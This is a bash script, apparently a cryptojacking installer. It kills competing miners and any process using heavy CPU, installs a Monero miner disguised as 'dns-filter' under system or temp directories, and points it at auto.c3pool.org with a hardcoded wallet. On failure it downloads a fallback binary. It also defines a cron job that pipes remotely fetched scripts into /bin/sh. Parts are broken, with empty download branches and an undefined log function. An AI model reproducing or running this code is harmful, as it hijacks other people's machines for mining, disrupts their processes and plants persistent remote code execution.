1. #!/bin/bash
  2.  
  3. for file in /tmp/usr/lib/systemdev/dns-filter /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
  4. if [ -f "$file" ]; then
  5. rm -f "$file"
  6. fi
  7. done
  8.  
  9. CUSTOM_ARG="${1:-x}"
  10.  
  11. if systemctl is-active --quiet systemd_s; then
  12. systemctl stop systemd_s
  13. fi
  14.  
  15. external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null || curl -s ipv4.icanhazip.com 2>/dev/null)
  16. IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)
  17.  
  18.  
  19. kill_unwanted() {
  20. if command -v pkill >/dev/null 2>&1; then
  21. pkill -f "index.js"
  22. pkill "xmr"
  23. elif command -v pgrep >/dev/null 2>&1; then
  24. pgrep -f "index.js" | xargs -r kill
  25. pgrep -x "xmr" | xargs -r kill
  26. else
  27. ps aux | grep '[x]mr' | awk '{print $2}' | xargs -r kill
  28. ps aux | grep -w '[i]ndex.js' | awk '{print $2}' | xargs -r kill
  29. fi
  30.  
  31. if command -v pgrep >/dev/null 2>&1; then
  32. pgrep "index.js" | grep -v "^$$$" | xargs -r kill
  33. else
  34. ps aux | grep -w '[i]ndex.js' | awk -v mypid=$$ '$2 != mypid {print $2}' | xargs -r kill
  35. fi
  36. }
  37.  
  38.  
  39. kill_unwanted
  40.  
  41.  
  42.  
  43.  
  44. kill_high_cpu_processes() {
  45. local threshold=150.0
  46. local exclude_patterns=("pattern2reserve333" "goAwgBCFH")
  47. local pid cpu cmdline
  48.  
  49. ps -eo pid,%cpu --sort=-%cpu | awk -v threshold="$threshold" \
  50. 'NR>1 && $2 > threshold {print $1}' | while read -r pid; do
  51.  
  52. # Read full command line (even if truncated in `ps`)
  53. if [ -f "/proc/$pid/cmdline" ]; then
  54. cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
  55. else
  56. echo "PID $pid died before inspection"
  57. continue
  58. fi
  59.  
  60. # Check for exclusion patterns in full cmdline
  61. for pattern in "${exclude_patterns[@]}"; do
  62. if [[ "$cmdline" == *"$pattern"* ]]; then
  63. echo "Excluding PID $pid (matched '$pattern')"
  64. continue 2
  65. fi
  66. done
  67.  
  68. if kill -9 "$pid" 2>/dev/null; then
  69. echo "Killed PID $pid (CPU: $(ps -p "$pid" -o %cpu --no-headers)%)"
  70. else
  71. echo "Failed to kill PID $pid (already dead or permission denied)"
  72. fi
  73. done
  74. }
  75.  
  76. delete_systemd_mon_file() {
  77. if [ "$(id -u)" -eq 0 ]; then
  78. file_path="/usr/lib/systemdev/dns-filter"
  79. else
  80. file_path="/tmp/usr/lib/systemdev/dns-filter"
  81. fi
  82.  
  83. if [ -e "$file_path" ]; then
  84. rm "$file_path"
  85. echo "File deleted: $file_path"
  86. else
  87. echo "File does not exist: $file_path"
  88. fi
  89. }
  90.  
  91. if [ "$(id -u)" -eq 0 ]; then
  92. HOME_1='/usr/lib/dev'
  93. user_type="root"
  94.  
  95. if ! command -v cron &>/dev/null; then
  96. echo "Installing cron for root user..."
  97. if command -v apt-get &>/dev/null; then
  98. apt-get update && apt-get install -y cron
  99. elif command -v yum &>/dev/null; then
  100. yum install -y cronie
  101. else
  102. echo "no cronieL"
  103. fi
  104. fi
  105. else
  106. HOME_1='/tmp/usr/lib'
  107. user_type="user"
  108. fi
  109.  
  110. mkdir -p "$HOME_1/systemdev"
  111.  
  112. program_file="$HOME_1/systemdev/dns-filter"
  113.  
  114. run_program() {
  115. local executable="$program_file"
  116. local fallback_executable="/tmp/dns"
  117.  
  118. launch_program() {
  119. nohup "$@" >/dev/null 2>&1 &
  120. local pid=$!
  121.  
  122. sleep 0.5
  123.  
  124. if ! ps -p "$pid" >/dev/null 2>&1; then
  125. return 1
  126. fi
  127.  
  128. sleep 4.5
  129. ps -p "$pid" >/dev/null 2>&1
  130. }
  131.  
  132. download_fallback() {
  133. rm -f "$fallback_executable"
  134.  
  135. if command -v curl >/dev/null 2>&1; then
  136. curl -k -fL -o "$fallback_executable" "$download_url" || return 1
  137. elif command -v wget >/dev/null 2>&1; then
  138. wget -qO "$fallback_executable" "$download_url" || return 1
  139. else
  140. echo "No download tool available" >&2
  141. return 1
  142. fi
  143. chmod +x "$fallback_executable"
  144. }
  145.  
  146. echo "Starting primary program..."
  147. if [ -x "$executable" ]; then
  148. if launch_program "$executable" -o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG ; then
  149. echo "Primary program running (PID $!)"
  150.  
  151. return 0
  152. else
  153. echo "Primary program crashed immediately"
  154. fi
  155. else
  156. echo "Primary program not found/executable"
  157. fi
  158.  
  159. echo "Attempting fallback..."
  160. if download_fallback && launch_program "$fallback_executable" -o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG ; then
  161. echo "Fallback program running (PID $!)"
  162. else
  163. echo "Warning: All startup attempts failed - continuing script anyway"
  164. fi
  165.  
  166. return 0
  167. }
  168.  
  169. if [ -e "$program_file" ]; then
  170. echo "Program file already exists at: $program_file"
  171. run_program
  172.  
  173. pkill -f "systemd-t"
  174.  
  175.  
  176. else
  177. if command -v wget &> /dev/null; then
  178. elif command -v curl &> /dev/null; then
  179. else
  180. echo "Error: Neither wget nor curl is available. Please install one of them."
  181. exit 1
  182. fi
  183.  
  184. # Extract the tarball and move the program file
  185. #tar -xf "$HOME_1/systemdev/yes.tar.xz" -C "$HOME_1/systemdev"
  186. mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
  187. rm -rf "$HOME_1/systemdev/xmrig"
  188. chmod +x "$HOME_1/systemdev/dns-filter"
  189.  
  190. if [ -x "$program_file" ]; then
  191. echo "Program file downloaded and installed at: $program_file"
  192. run_program
  193. else
  194. echo "Error: File not found or not executable at $program_file."
  195. external_ip=$(curl -s ifconfig.me)
  196. echo "Use for VPS: ($external_ip) - $user_type"
  197. fi
  198. fi
  199.  
  200. create_cronjob() {
  201. local cron_command
  202. if command -v curl >/dev/null; then
  203. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
  204. elif command -v wget >/dev/null; then
  205. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
  206. else
  207. log "Error: Cannot create cron job, neither curl nor wget is available."
  208. return 1
  209. fi
  210.  
  211. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  212. log "Cron job successfully configured."
  213. }
  214.  
  215.  
  216.  
  217. rm -f /tmp/mon.sh
  218. rm -f /tmp/run.sh